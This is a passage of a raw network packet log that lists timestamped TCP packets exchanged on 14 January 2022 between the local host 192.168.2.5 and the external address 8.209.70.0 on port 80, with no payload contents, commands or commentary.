Jan 14, 2022 21:06:00.801940918 CET	49899	80	192.168.2.5	8.209.70.0
Jan 14, 2022 21:06:00.801961899 CET	80	49899	8.209.70.0	192.168.2.5
Jan 14, 2022 21:06:00.802520990 CET	49899	80	192.168.2.5	8.209.70.0
Jan 14, 2022 21:06:00.819371939 CET	80	49899	8.209.70.0	192.168.2.5
Jan 14, 2022 21:06:00.819411039 CET	80	49899	8.209.70.0	192.168.2.5
Jan 14, 2022 21:06:00.819433928 CET	80	49899	8.209.70.0	192.168.2.5
Jan 14, 2022 21:06:00.819477081 CET	80	49899	8.209.70.0	192.168.2.5
Jan 14, 2022 21:06:00.819503069 CET	80	49899	8.209.70.0	192.168.2.5
Jan 14, 2022 21:06:00.819529057 CET	80	49899	8.209.70.0	192.168.2.5
Jan 14, 2022 21:06:00.819549084 CET	49899	80	192.168.2.5	8.209.70.0
Jan 14, 2022 21:06:00.819555998 CET	80	49899	8.209.70.0	192.168.2.5
Jan 14, 2022 21:06:00.819585085 CET	80	49899	8.209.70.0	192.168.2.5
Jan 14, 2022 21:06:00.819612026 CET	80	49899	8.209.70.0	192.168.2.5
Jan 14, 2022 21:06:00.819639921 CET	80	49899	8.209.70.0	192.168.2.5
Jan 14, 2022 21:06:00.819652081 CET	49899	80	192.168.2.5	8.209.70.0
Jan 14, 2022 21:06:00.819669008 CET	80	49899	8.209.70.0	192.168.2.5
Jan 14, 2022 21:06:00.819696903 CET	80	49899	8.209.70.0	192.168.2.5
Jan 14, 2022 21:06:00.819709063 CET	49899	80	192.168.2.5	8.209.70.0
Jan 14, 2022 21:06:00.819724083 CET	80	49899	8.209.70.0	192.168.2.5
Jan 14, 2022 21:06:00.819751978 CET	80	49899	8.209.70.0	192.168.2.5
Jan 14, 2022 21:06:00.819760084 CET	49899	80	192.168.2.5	8.209.70.0
Jan 14, 2022 21:06:00.819777966 CET	80	49899	8.209.70.0	192.168.2.5
Jan 14, 2022 21:06:00.819804907 CET	80	49899	8.209.70.0	192.168.2.5
Jan 14, 2022 21:06:00.819804907 CET	49899	80	192.168.2.5	8.209.70.0
Jan 14, 2022 21:06:00.819830894 CET	80	49899	8.209.70.0	192.168.2.5
Jan 14, 2022 21:06:00.819856882 CET	80	49899	8.209.70.0	192.168.2.5
Jan 14, 2022 21:06:00.819883108 CET	80	49899	8.209.70.0	192.168.2.5
Jan 14, 2022 21:06:00.819896936 CET	49899	80	192.168.2.5	8.209.70.0
Jan 14, 2022 21:06:00.819909096 CET	80	49899	8.209.70.0	192.168.2.5
Jan 14, 2022 21:06:00.819936037 CET	80	49899	8.209.70.0	192.168.2.5
Jan 14, 2022 21:06:00.819953918 CET	49899	80	192.168.2.5	8.209.70.0
Jan 14, 2022 21:06:00.819962025 CET	80	49899	8.209.70.0	192.168.2.5
Jan 14, 2022 21:06:00.819988966 CET	80	49899	8.209.70.0	192.168.2.5
Jan 14, 2022 21:06:00.819993973 CET	49899	80	192.168.2.5	8.209.70.0
Jan 14, 2022 21:06:00.820015907 CET	80	49899	8.209.70.0	192.168.2.5
Jan 14, 2022 21:06:00.820033073 CET	49899	80	192.168.2.5	8.209.70.0
Jan 14, 2022 21:06:00.820043087 CET	80	49899	8.209.70.0	192.168.2.5
Jan 14, 2022 21:06:00.820069075 CET	80	49899	8.209.70.0	192.168.2.5
Jan 14, 2022 21:06:00.820095062 CET	80	49899	8.209.70.0	192.168.2.5
Jan 14, 2022 21:06:00.820096016 CET	49899	80	192.168.2.5	8.209.70.0
Jan 14, 2022 21:06:00.820122004 CET	80	49899	8.209.70.0	192.168.2.5
Jan 14, 2022 21:06:00.820147038 CET	80	49899	8.209.70.0	192.168.2.5
Jan 14, 2022 21:06:00.820156097 CET	49899	80	192.168.2.5	8.209.70.0
Jan 14, 2022 21:06:00.820175886 CET	80	49899	8.209.70.0	192.168.2.5
Jan 14, 2022 21:06:00.820203066 CET	80	49899	8.209.70.0	192.168.2.5
Jan 14, 2022 21:06:00.820210934 CET	49899	80	192.168.2.5	8.209.70.0
Jan 14, 2022 21:06:00.820230961 CET	80	49899	8.209.70.0	192.168.2.5
Jan 14, 2022 21:06:00.820250034 CET	49899	80	192.168.2.5	8.209.70.0
Jan 14, 2022 21:06:00.820260048 CET	80	49899	8.209.70.0	192.168.2.5
Jan 14, 2022 21:06:00.820286036 CET	80	49899	8.209.70.0	192.168.2.5
Jan 14, 2022 21:06:00.820297003 CET	49899	80	192.168.2.5	8.209.70.0
Jan 14, 2022 21:06:00.820312977 CET	80	49899	8.209.70.0	192.168.2.5
Jan 14, 2022 21:06:00.820339918 CET	80	49899	8.209.70.0	192.168.2.5
Jan 14, 2022 21:06:00.820359945 CET	49899	80	192.168.2.5	8.209.70.0
Jan 14, 2022 21:06:00.820367098 CET	80	49899	8.209.70.0	192.168.2.5
Jan 14, 2022 21:06:00.820394039 CET	80	49899	8.209.70.0	192.168.2.5
Jan 14, 2022 21:06:00.820415020 CET	80	49899	8.209.70.0	192.168.2.5
Jan 14, 2022 21:06:00.820425034 CET	49899	80	192.168.2.5	8.209.70.0
Jan 14, 2022 21:06:00.820472956 CET	49899	80	192.168.2.5	8.209.70.0
Jan 14, 2022 21:06:00.839708090 CET	80	49899	8.209.70.0	192.168.2.5
Jan 14, 2022 21:06:00.839767933 CET	80	49899	8.209.70.0	192.168.2.5
Jan 14, 2022 21:06:00.839802980 CET	80	49899	8.209.70.0	192.168.2.5
Jan 14, 2022 21:06:00.839808941 CET	49899	80	192.168.2.5	8.209.70.0
Jan 14, 2022 21:06:00.839839935 CET	80	49899	8.209.70.0	192.168.2.5
Jan 14, 2022 21:06:00.839844942 CET	49899	80	192.168.2.5	8.209.70.0
Jan 14, 2022 21:06:00.839879036 CET	80	49899	8.209.70.0	192.168.2.5
Jan 14, 2022 21:06:00.839912891 CET	80	49899	8.209.70.0	192.168.2.5
Jan 14, 2022 21:06:00.839948893 CET	80	49899	8.209.70.0	192.168.2.5
Jan 14, 2022 21:06:00.839962959 CET	49899	80	192.168.2.5	8.209.70.0
Jan 14, 2022 21:06:00.839984894 CET	80	49899	8.209.70.0	192.168.2.5
Jan 14, 2022 21:06:00.840007067 CET	49899	80	192.168.2.5	8.209.70.0
Jan 14, 2022 21:06:00.840022087 CET	80	49899	8.209.70.0	192.168.2.5
Jan 14, 2022 21:06:00.840059042 CET	80	49899	8.209.70.0	192.168.2.5
Jan 14, 2022 21:06:00.840091944 CET	80	49899	8.209.70.0	192.168.2.5
Jan 14, 2022 21:06:00.840104103 CET	49899	80	192.168.2.5	8.209.70.0
Jan 14, 2022 21:06:00.840127945 CET	80	49899	8.209.70.0	192.168.2.5
Jan 14, 2022 21:06:00.840141058 CET	49899	80	192.168.2.5	8.209.70.0
Jan 14, 2022 21:06:00.840163946 CET	80	49899	8.209.70.0	192.168.2.5
Jan 14, 2022 21:06:00.840197086 CET	80	49899	8.209.70.0	192.168.2.5
Jan 14, 2022 21:06:00.840231895 CET	80	49899	8.209.70.0	192.168.2.5
Jan 14, 2022 21:06:00.840245008 CET	49899	80	192.168.2.5	8.209.70.0
Jan 14, 2022 21:06:00.840266943 CET	80	49899	8.209.70.0	192.168.2.5
Jan 14, 2022 21:06:00.840285063 CET	49899	80	192.168.2.5	8.209.70.0
Jan 14, 2022 21:06:00.840303898 CET	80	49899	8.209.70.0	192.168.2.5
Jan 14, 2022 21:06:00.840339899 CET	80	49899	8.209.70.0	192.168.2.5
Jan 14, 2022 21:06:00.840373039 CET	80	49899	8.209.70.0	192.168.2.5
Jan 14, 2022 21:06:00.840385914 CET	49899	80	192.168.2.5	8.209.70.0
Jan 14, 2022 21:06:00.840408087 CET	80	49899	8.209.70.0	192.168.2.5
Jan 14, 2022 21:06:00.840420961 CET	49899	80	192.168.2.5	8.209.70.0
Jan 14, 2022 21:06:00.840444088 CET	80	49899	8.209.70.0	192.168.2.5
Jan 14, 2022 21:06:00.840476990 CET	80	49899	8.209.70.0	192.168.2.5
Jan 14, 2022 21:06:00.840512037 CET	80	49899	8.209.70.0	192.168.2.5
Jan 14, 2022 21:06:00.840521097 CET	49899	80	192.168.2.5	8.209.70.0
Jan 14, 2022 21:06:00.840549946 CET	80	49899	8.209.70.0	192.168.2.5
Jan 14, 2022 21:06:00.840553999 CET	49899	80	192.168.2.5	8.209.70.0
Jan 14, 2022 21:06:00.840586901 CET	80	49899	8.209.70.0	192.168.2.5
Jan 14, 2022 21:06:00.840624094 CET	80	49899	8.209.70.0	192.168.2.5
Jan 14, 2022 21:06:00.840658903 CET	80	49899	8.209.70.0	192.168.2.5
Jan 14, 2022 21:06:00.840672016 CET	49899	80	192.168.2.5	8.209.70.0
Jan 14, 2022 21:06:00.840693951 CET	80	49899	8.209.70.0	192.168.2.5
Jan 14, 2022 21:06:00.840708017 CET	49899	80	192.168.2.5	8.209.70.0
Jan 14, 2022 21:06:00.840730906 CET	80	49899	8.209.70.0	192.168.2.5
Jan 14, 2022 21:06:00.840764046 CET	80	49899	8.209.70.0	192.168.2.5
Jan 14, 2022 21:06:00.840799093 CET	80	49899	8.209.70.0	192.168.2.5
Jan 14, 2022 21:06:00.840811968 CET	49899	80	192.168.2.5	8.209.70.0
Jan 14, 2022 21:06:00.840833902 CET	80	49899	8.209.70.0	192.168.2.5
Jan 14, 2022 21:06:00.840847969 CET	49899	80	192.168.2.5	8.209.70.0
Jan 14, 2022 21:06:00.840871096 CET	80	49899	8.209.70.0	192.168.2.5
Jan 14, 2022 21:06:00.840905905 CET	80	49899	8.209.70.0	192.168.2.5
Jan 14, 2022 21:06:00.840939999 CET	80	49899	8.209.70.0	192.168.2.5
Jan 14, 2022 21:06:00.840951920 CET	49899	80	192.168.2.5	8.209.70.0
Jan 14, 2022 21:06:00.840975046 CET	80	49899	8.209.70.0	192.168.2.5
Jan 14, 2022 21:06:00.840982914 CET	49899	80	192.168.2.5	8.209.70.0
Jan 14, 2022 21:06:00.841011047 CET	80	49899	8.209.70.0	192.168.2.5
Jan 14, 2022 21:06:00.841044903 CET	80	49899	8.209.70.0	192.168.2.5
Jan 14, 2022 21:06:00.841078997 CET	80	49899	8.209.70.0	192.168.2.5
Jan 14, 2022 21:06:00.841094017 CET	49899	80	192.168.2.5	8.209.70.0
Jan 14, 2022 21:06:00.841114044 CET	80	49899	8.209.70.0	192.168.2.5
Jan 14, 2022 21:06:00.841120958 CET	49899	80	192.168.2.5	8.209.70.0
Jan 14, 2022 21:06:00.841150045 CET	80	49899	8.209.70.0	192.168.2.5
Jan 14, 2022 21:06:00.841187000 CET	80	49899	8.209.70.0	192.168.2.5
Jan 14, 2022 21:06:00.841218948 CET	80	49899	8.209.70.0	192.168.2.5
Jan 14, 2022 21:06:00.841232061 CET	49899	80	192.168.2.5	8.209.70.0
Jan 14, 2022 21:06:00.841254950 CET	80	49899	8.209.70.0	192.168.2.5
Jan 14, 2022 21:06:00.841268063 CET	49899	80	192.168.2.5	8.209.70.0
Jan 14, 2022 21:06:00.841290951 CET	80	49899	8.209.70.0	192.168.2.5
Jan 14, 2022 21:06:00.841324091 CET	80	49899	8.209.70.0	192.168.2.5
Jan 14, 2022 21:06:00.841360092 CET	80	49899	8.209.70.0	192.168.2.5
Jan 14, 2022 21:06:00.841368914 CET	49899	80	192.168.2.5	8.209.70.0
Jan 14, 2022 21:06:00.841396093 CET	80	49899	8.209.70.0	192.168.2.5
Jan 14, 2022 21:06:00.841403961 CET	49899	80	192.168.2.5	8.209.70.0
Jan 14, 2022 21:06:00.858841896 CET	80	49899	8.209.70.0	192.168.2.5
Jan 14, 2022 21:06:00.858892918 CET	80	49899	8.209.70.0	192.168.2.5
Jan 14, 2022 21:06:00.858936071 CET	80	49899	8.209.70.0	192.168.2.5
Jan 14, 2022 21:06:00.858973026 CET	80	49899	8.209.70.0	192.168.2.5
Jan 14, 2022 21:06:00.858979940 CET	49899	80	192.168.2.5	8.209.70.0
Jan 14, 2022 21:06:00.859015942 CET	80	49899	8.209.70.0	192.168.2.5
Jan 14, 2022 21:06:00.859015942 CET	49899	80	192.168.2.5	8.209.70.0
Jan 14, 2022 21:06:00.859059095 CET	80	49899	8.209.70.0	192.168.2.5
Jan 14, 2022 21:06:00.859097004 CET	80	49899	8.209.70.0	192.168.2.5
Jan 14, 2022 21:06:00.859111071 CET	49899	80	192.168.2.5	8.209.70.0
Jan 14, 2022 21:06:00.859137058 CET	80	49899	8.209.70.0	192.168.2.5
Jan 14, 2022 21:06:00.859138012 CET	49899	80	192.168.2.5	8.209.70.0
Jan 14, 2022 21:06:00.859181881 CET	80	49899	8.209.70.0	192.168.2.5
Jan 14, 2022 21:06:00.859222889 CET	80	49899	8.209.70.0	192.168.2.5
Jan 14, 2022 21:06:00.859261990 CET	80	49899	8.209.70.0	192.168.2.5
Jan 14, 2022 21:06:00.859276056 CET	49899	80	192.168.2.5	8.209.70.0
Jan 14, 2022 21:06:00.859298944 CET	80	49899	8.209.70.0	192.168.2.5
Jan 14, 2022 21:06:00.859312057 CET	49899	80	192.168.2.5	8.209.70.0
Jan 14, 2022 21:06:00.859338045 CET	80	49899	8.209.70.0	192.168.2.5
Jan 14, 2022 21:06:00.859378099 CET	80	49899	8.209.70.0	192.168.2.5
Jan 14, 2022 21:06:00.859414101 CET	80	49899	8.209.70.0	192.168.2.5
Jan 14, 2022 21:06:00.859426975 CET	49899	80	192.168.2.5	8.209.70.0
Jan 14, 2022 21:06:00.859452963 CET	80	49899	8.209.70.0	192.168.2.5
Jan 14, 2022 21:06:00.859458923 CET	49899	80	192.168.2.5	8.209.70.0
Jan 14, 2022 21:06:00.859492064 CET	80	49899	8.209.70.0	192.168.2.5
Jan 14, 2022 21:06:00.859530926 CET	80	49899	8.209.70.0	192.168.2.5
Jan 14, 2022 21:06:00.859571934 CET	80	49899	8.209.70.0	192.168.2.5
Jan 14, 2022 21:06:00.859585047 CET	49899	80	192.168.2.5	8.209.70.0
Jan 14, 2022 21:06:00.859608889 CET	80	49899	8.209.70.0	192.168.2.5
Jan 14, 2022 21:06:00.859626055 CET	49899	80	192.168.2.5	8.209.70.0
Jan 14, 2022 21:06:00.859651089 CET	80	49899	8.209.70.0	192.168.2.5
Jan 14, 2022 21:06:00.859690905 CET	80	49899	8.209.70.0	192.168.2.5
Jan 14, 2022 21:06:00.859699011 CET	49899	80	192.168.2.5	8.209.70.0
Jan 14, 2022 21:06:00.859729052 CET	80	49899	8.209.70.0	192.168.2.5
Jan 14, 2022 21:06:00.859766960 CET	80	49899	8.209.70.0	192.168.2.5
Jan 14, 2022 21:06:00.859805107 CET	80	49899	8.209.70.0	192.168.2.5
Jan 14, 2022 21:06:00.859814882 CET	49899	80	192.168.2.5	8.209.70.0
Jan 14, 2022 21:06:00.859844923 CET	80	49899	8.209.70.0	192.168.2.5
Jan 14, 2022 21:06:00.859848022 CET	49899	80	192.168.2.5	8.209.70.0
Jan 14, 2022 21:06:00.859884977 CET	80	49899	8.209.70.0	192.168.2.5
Jan 14, 2022 21:06:00.859921932 CET	80	49899	8.209.70.0	192.168.2.5
Jan 14, 2022 21:06:00.859960079 CET	80	49899	8.209.70.0	192.168.2.5
Jan 14, 2022 21:06:00.859973907 CET	49899	80	192.168.2.5	8.209.70.0
Jan 14, 2022 21:06:00.859998941 CET	80	49899	8.209.70.0	192.168.2.5
Jan 14, 2022 21:06:00.860006094 CET	49899	80	192.168.2.5	8.209.70.0
Jan 14, 2022 21:06:00.860037088 CET	80	49899	8.209.70.0	192.168.2.5
Jan 14, 2022 21:06:00.860074043 CET	80	49899	8.209.70.0	192.168.2.5
Jan 14, 2022 21:06:00.860111952 CET	80	49899	8.209.70.0	192.168.2.5
Jan 14, 2022 21:06:00.860126019 CET	49899	80	192.168.2.5	8.209.70.0
Jan 14, 2022 21:06:00.860151052 CET	80	49899	8.209.70.0	192.168.2.5
Jan 14, 2022 21:06:00.860153913 CET	49899	80	192.168.2.5	8.209.70.0
Jan 14, 2022 21:06:00.860189915 CET	80	49899	8.209.70.0	192.168.2.5
Jan 14, 2022 21:06:00.860227108 CET	80	49899	8.209.70.0	192.168.2.5
Jan 14, 2022 21:06:00.860264063 CET	80	49899	8.209.70.0	192.168.2.5
Jan 14, 2022 21:06:00.860272884 CET	49899	80	192.168.2.5	8.209.70.0
Jan 14, 2022 21:06:00.860302925 CET	80	49899	8.209.70.0	192.168.2.5
Jan 14, 2022 21:06:00.860305071 CET	49899	80	192.168.2.5	8.209.70.0
Jan 14, 2022 21:06:00.860340118 CET	80	49899	8.209.70.0	192.168.2.5
Jan 14, 2022 21:06:00.860378981 CET	80	49899	8.209.70.0	192.168.2.5
Jan 14, 2022 21:06:00.860415936 CET	80	49899	8.209.70.0	192.168.2.5
Jan 14, 2022 21:06:00.860429049 CET	49899	80	192.168.2.5	8.209.70.0
Jan 14, 2022 21:06:00.860455036 CET	80	49899	8.209.70.0	192.168.2.5
Jan 14, 2022 21:06:00.860459089 CET	49899	80	192.168.2.5	8.209.70.0
Jan 14, 2022 21:06:00.860501051 CET	80	49899	8.209.70.0	192.168.2.5
Jan 14, 2022 21:06:00.860553026 CET	80	49899	8.209.70.0	192.168.2.5
Jan 14, 2022 21:06:00.860606909 CET	80	49899	8.209.70.0	192.168.2.5
Jan 14, 2022 21:06:00.860613108 CET	49899	80	192.168.2.5	8.209.70.0
Jan 14, 2022 21:06:00.860663891 CET	80	49899	8.209.70.0	192.168.2.5
Jan 14, 2022 21:06:00.860665083 CET	49899	80	192.168.2.5	8.209.70.0
Jan 14, 2022 21:06:00.860711098 CET	80	49899	8.209.70.0	192.168.2.5
Jan 14, 2022 21:06:00.860761881 CET	80	49899	8.209.70.0	192.168.2.5
Jan 14, 2022 21:06:00.860807896 CET	80	49899	8.209.70.0	192.168.2.5
Jan 14, 2022 21:06:00.860810995 CET	49899	80	192.168.2.5	8.209.70.0
Jan 14, 2022 21:06:00.860858917 CET	49899	80	192.168.2.5	8.209.70.0
Jan 14, 2022 21:06:00.860867977 CET	80	49899	8.209.70.0	192.168.2.5
Jan 14, 2022 21:06:00.860933065 CET	80	49899	8.209.70.0	192.168.2.5
Jan 14, 2022 21:06:00.861016035 CET	80	49899	8.209.70.0	192.168.2.5
Jan 14, 2022 21:06:00.861056089 CET	80	49899	8.209.70.0	192.168.2.5
Jan 14, 2022 21:06:00.861080885 CET	49899	80	192.168.2.5	8.209.70.0
Jan 14, 2022 21:06:00.861109018 CET	80	49899	8.209.70.0	192.168.2.5
Jan 14, 2022 21:06:00.861162901 CET	80	49899	8.209.70.0	192.168.2.5
Jan 14, 2022 21:06:00.861187935 CET	49899	80	192.168.2.5	8.209.70.0
Jan 14, 2022 21:06:00.861212015 CET	80	49899	8.209.70.0	192.168.2.5
Jan 14, 2022 21:06:00.861267090 CET	80	49899	8.209.70.0	192.168.2.5
Jan 14, 2022 21:06:00.861278057 CET	49899	80	192.168.2.5	8.209.70.0
Jan 14, 2022 21:06:00.861315012 CET	49899	80	192.168.2.5	8.209.70.0
Jan 14, 2022 21:06:00.861319065 CET	80	49899	8.209.70.0	192.168.2.5
Jan 14, 2022 21:06:00.861367941 CET	80	49899	8.209.70.0	192.168.2.5
Jan 14, 2022 21:06:00.861418009 CET	80	49899	8.209.70.0	192.168.2.5
Jan 14, 2022 21:06:00.861469984 CET	80	49899	8.209.70.0	192.168.2.5
Jan 14, 2022 21:06:00.861481905 CET	49899	80	192.168.2.5	8.209.70.0
Jan 14, 2022 21:06:00.861517906 CET	49899	80	192.168.2.5	8.209.70.0
Jan 14, 2022 21:06:00.861526966 CET	80	49899	8.209.70.0	192.168.2.5
Jan 14, 2022 21:06:00.861578941 CET	80	49899	8.209.70.0	192.168.2.5
Jan 14, 2022 21:06:00.861633062 CET	80	49899	8.209.70.0	192.168.2.5
Jan 14, 2022 21:06:00.861686945 CET	80	49899	8.209.70.0	192.168.2.5
Jan 14, 2022 21:06:00.861740112 CET	49899	80	192.168.2.5	8.209.70.0
Jan 14, 2022 21:06:00.861754894 CET	49899	80	192.168.2.5	8.209.70.0
Jan 14, 2022 21:06:00.861800909 CET	80	49899	8.209.70.0	192.168.2.5
Jan 14, 2022 21:06:00.861841917 CET	80	49899	8.209.70.0	192.168.2.5
Jan 14, 2022 21:06:00.861886978 CET	49899	80	192.168.2.5	8.209.70.0
Jan 14, 2022 21:06:00.861908913 CET	80	49899	8.209.70.0	192.168.2.5
Jan 14, 2022 21:06:00.861948013 CET	80	49899	8.209.70.0	192.168.2.5
Jan 14, 2022 21:06:00.861983061 CET	80	49899	8.209.70.0	192.168.2.5
Jan 14, 2022 21:06:00.862013102 CET	49899	80	192.168.2.5	8.209.70.0
Jan 14, 2022 21:06:00.862023115 CET	80	49899	8.209.70.0	192.168.2.5
Jan 14, 2022 21:06:00.862061977 CET	80	49899	8.209.70.0	192.168.2.5
Jan 14, 2022 21:06:00.862073898 CET	49899	80	192.168.2.5	8.209.70.0
Jan 14, 2022 21:06:00.862098932 CET	80	49899	8.209.70.0	192.168.2.5
Jan 14, 2022 21:06:00.862137079 CET	80	49899	8.209.70.0	192.168.2.5
Jan 14, 2022 21:06:00.862159014 CET	49899	80	192.168.2.5	8.209.70.0
Jan 14, 2022 21:06:00.862191916 CET	80	49899	8.209.70.0	192.168.2.5
Jan 14, 2022 21:06:00.862245083 CET	80	49899	8.209.70.0	192.168.2.5
Jan 14, 2022 21:06:00.862299919 CET	80	49899	8.209.70.0	192.168.2.5
Jan 14, 2022 21:06:00.862299919 CET	49899	80	192.168.2.5	8.209.70.0
Jan 14, 2022 21:06:00.862344027 CET	49899	80	192.168.2.5	8.209.70.0
Jan 14, 2022 21:06:00.862346888 CET	80	49899	8.209.70.0	192.168.2.5
Jan 14, 2022 21:06:00.862413883 CET	80	49899	8.209.70.0	192.168.2.5
Jan 14, 2022 21:06:00.862472057 CET	80	49899	8.209.70.0	192.168.2.5
Jan 14, 2022 21:06:00.862536907 CET	49899	80	192.168.2.5	8.209.70.0
Jan 14, 2022 21:06:00.879933119 CET	80	49899	8.209.70.0	192.168.2.5
Jan 14, 2022 21:06:00.879992962 CET	80	49899	8.209.70.0	192.168.2.5
Jan 14, 2022 21:06:00.880031109 CET	80	49899	8.209.70.0	192.168.2.5
Jan 14, 2022 21:06:00.880070925 CET	80	49899	8.209.70.0	192.168.2.5
Jan 14, 2022 21:06:00.880072117 CET	49899	80	192.168.2.5	8.209.70.0
Jan 14, 2022 21:06:00.880110025 CET	80	49899	8.209.70.0	192.168.2.5
Jan 14, 2022 21:06:00.880125999 CET	49899	80	192.168.2.5	8.209.70.0
Jan 14, 2022 21:06:00.880151987 CET	80	49899	8.209.70.0	192.168.2.5
Jan 14, 2022 21:06:00.880177021 CET	49899	80	192.168.2.5	8.209.70.0
Jan 14, 2022 21:06:00.880193949 CET	80	49899	8.209.70.0	192.168.2.5
Jan 14, 2022 21:06:00.880232096 CET	80	49899	8.209.70.0	192.168.2.5
Jan 14, 2022 21:06:00.880259037 CET	49899	80	192.168.2.5	8.209.70.0
Jan 14, 2022 21:06:00.880270958 CET	80	49899	8.209.70.0	192.168.2.5
Jan 14, 2022 21:06:00.880310059 CET	80	49899	8.209.70.0	192.168.2.5
Jan 14, 2022 21:06:00.880347013 CET	80	49899	8.209.70.0	192.168.2.5
Jan 14, 2022 21:06:00.880358934 CET	49899	80	192.168.2.5	8.209.70.0
Jan 14, 2022 21:06:00.880386114 CET	80	49899	8.209.70.0	192.168.2.5
Jan 14, 2022 21:06:00.880390882 CET	49899	80	192.168.2.5	8.209.70.0
Jan 14, 2022 21:06:00.880424023 CET	80	49899	8.209.70.0	192.168.2.5
Jan 14, 2022 21:06:00.880464077 CET	80	49899	8.209.70.0	192.168.2.5
Jan 14, 2022 21:06:00.880502939 CET	80	49899	8.209.70.0	192.168.2.5
Jan 14, 2022 21:06:00.880511045 CET	49899	80	192.168.2.5	8.209.70.0
Jan 14, 2022 21:06:00.880541086 CET	80	49899	8.209.70.0	192.168.2.5
Jan 14, 2022 21:06:00.880549908 CET	49899	80	192.168.2.5	8.209.70.0
Jan 14, 2022 21:06:00.880579948 CET	80	49899	8.209.70.0	192.168.2.5
Jan 14, 2022 21:06:00.880616903 CET	80	49899	8.209.70.0	192.168.2.5
Jan 14, 2022 21:06:00.880655050 CET	80	49899	8.209.70.0	192.168.2.5
Jan 14, 2022 21:06:00.880664110 CET	49899	80	192.168.2.5	8.209.70.0
Jan 14, 2022 21:06:00.880696058 CET	80	49899	8.209.70.0	192.168.2.5
Jan 14, 2022 21:06:00.880711079 CET	49899	80	192.168.2.5	8.209.70.0
Jan 14, 2022 21:06:00.880743027 CET	80	49899	8.209.70.0	192.168.2.5
Jan 14, 2022 21:06:00.880800962 CET	80	49899	8.209.70.0	192.168.2.5
Jan 14, 2022 21:06:00.880860090 CET	49899	80	192.168.2.5	8.209.70.0
Jan 14, 2022 21:06:00.880861998 CET	80	49899	8.209.70.0	192.168.2.5
Jan 14, 2022 21:06:00.880913019 CET	49899	80	192.168.2.5	8.209.70.0
Jan 14, 2022 21:06:00.880918980 CET	80	49899	8.209.70.0	192.168.2.5
Jan 14, 2022 21:06:00.880978107 CET	80	49899	8.209.70.0	192.168.2.5
Jan 14, 2022 21:06:00.881055117 CET	80	49899	8.209.70.0	192.168.2.5
Jan 14, 2022 21:06:00.881112099 CET	80	49899	8.209.70.0	192.168.2.5
Jan 14, 2022 21:06:00.881118059 CET	49899	80	192.168.2.5	8.209.70.0
Jan 14, 2022 21:06:00.881165028 CET	49899	80	192.168.2.5	8.209.70.0
Jan 14, 2022 21:06:00.881170034 CET	80	49899	8.209.70.0	192.168.2.5
Jan 14, 2022 21:06:00.881258965 CET	80	49899	8.209.70.0	192.168.2.5
Jan 14, 2022 21:06:00.881315947 CET	80	49899	8.209.70.0	192.168.2.5
Jan 14, 2022 21:06:00.881366968 CET	49899	80	192.168.2.5	8.209.70.0
Jan 14, 2022 21:06:00.881373882 CET	80	49899	8.209.70.0	192.168.2.5
Jan 14, 2022 21:06:00.881429911 CET	80	49899	8.209.70.0	192.168.2.5
Jan 14, 2022 21:06:00.881464005 CET	49899	80	192.168.2.5	8.209.70.0
Jan 14, 2022 21:06:00.881486893 CET	80	49899	8.209.70.0	192.168.2.5
Jan 14, 2022 21:06:00.881537914 CET	49899	80	192.168.2.5	8.209.70.0
Jan 14, 2022 21:06:00.881542921 CET	80	49899	8.209.70.0	192.168.2.5
Jan 14, 2022 21:06:00.881598949 CET	80	49899	8.209.70.0	192.168.2.5
Jan 14, 2022 21:06:00.881659031 CET	80	49899	8.209.70.0	192.168.2.5
Jan 14, 2022 21:06:00.881711960 CET	49899	80	192.168.2.5	8.209.70.0
Jan 14, 2022 21:06:00.893311977 CET	49899	80	192.168.2.5	8.209.70.0
Jan 14, 2022 21:06:00.910849094 CET	80	49899	8.209.70.0	192.168.2.5
Jan 14, 2022 21:06:00.910907984 CET	80	49899	8.209.70.0	192.168.2.5
Jan 14, 2022 21:06:00.910948992 CET	80	49899	8.209.70.0	192.168.2.5
Jan 14, 2022 21:06:00.910989046 CET	80	49899	8.209.70.0	192.168.2.5
Jan 14, 2022 21:06:00.911016941 CET	80	49899	8.209.70.0	192.168.2.5
Jan 14, 2022 21:06:00.911032915 CET	49899	80	192.168.2.5	8.209.70.0
Jan 14, 2022 21:06:00.911051035 CET	49899	80	192.168.2.5	8.209.70.0
Jan 14, 2022 21:06:00.911057949 CET	80	49899	8.209.70.0	192.168.2.5
Jan 14, 2022 21:06:00.911060095 CET	49899	80	192.168.2.5	8.209.70.0
Jan 14, 2022 21:06:00.911098957 CET	80	49899	8.209.70.0	192.168.2.5
Jan 14, 2022 21:06:00.911139011 CET	80	49899	8.209.70.0	192.168.2.5
Jan 14, 2022 21:06:00.911175966 CET	80	49899	8.209.70.0	192.168.2.5
Jan 14, 2022 21:06:00.911192894 CET	49899	80	192.168.2.5	8.209.70.0
Jan 14, 2022 21:06:00.911216974 CET	80	49899	8.209.70.0	192.168.2.5
Jan 14, 2022 21:06:00.911217928 CET	49899	80	192.168.2.5	8.209.70.0
Jan 14, 2022 21:06:00.911257029 CET	80	49899	8.209.70.0	192.168.2.5
Jan 14, 2022 21:06:00.911297083 CET	80	49899	8.209.70.0	192.168.2.5
Jan 14, 2022 21:06:00.911336899 CET	80	49899	8.209.70.0	192.168.2.5
Jan 14, 2022 21:06:00.911341906 CET	49899	80	192.168.2.5	8.209.70.0
Jan 14, 2022 21:06:00.911372900 CET	80	49899	8.209.70.0	192.168.2.5
Jan 14, 2022 21:06:00.911377907 CET	49899	80	192.168.2.5	8.209.70.0
Jan 14, 2022 21:06:00.911413908 CET	80	49899	8.209.70.0	192.168.2.5
Jan 14, 2022 21:06:00.911453009 CET	80	49899	8.209.70.0	192.168.2.5
Jan 14, 2022 21:06:00.911489964 CET	80	49899	8.209.70.0	192.168.2.5
Jan 14, 2022 21:06:00.911495924 CET	49899	80	192.168.2.5	8.209.70.0
Jan 14, 2022 21:06:00.911530972 CET	80	49899	8.209.70.0	192.168.2.5
Jan 14, 2022 21:06:00.911537886 CET	49899	80	192.168.2.5	8.209.70.0
Jan 14, 2022 21:06:00.911571026 CET	80	49899	8.209.70.0	192.168.2.5
Jan 14, 2022 21:06:00.911611080 CET	80	49899	8.209.70.0	192.168.2.5
Jan 14, 2022 21:06:00.911654949 CET	49899	80	192.168.2.5	8.209.70.0
Jan 14, 2022 21:06:00.911655903 CET	80	49899	8.209.70.0	192.168.2.5
Jan 14, 2022 21:06:00.911695004 CET	80	49899	8.209.70.0	192.168.2.5
Jan 14, 2022 21:06:00.911715031 CET	49899	80	192.168.2.5	8.209.70.0
Jan 14, 2022 21:06:00.911734104 CET	80	49899	8.209.70.0	192.168.2.5
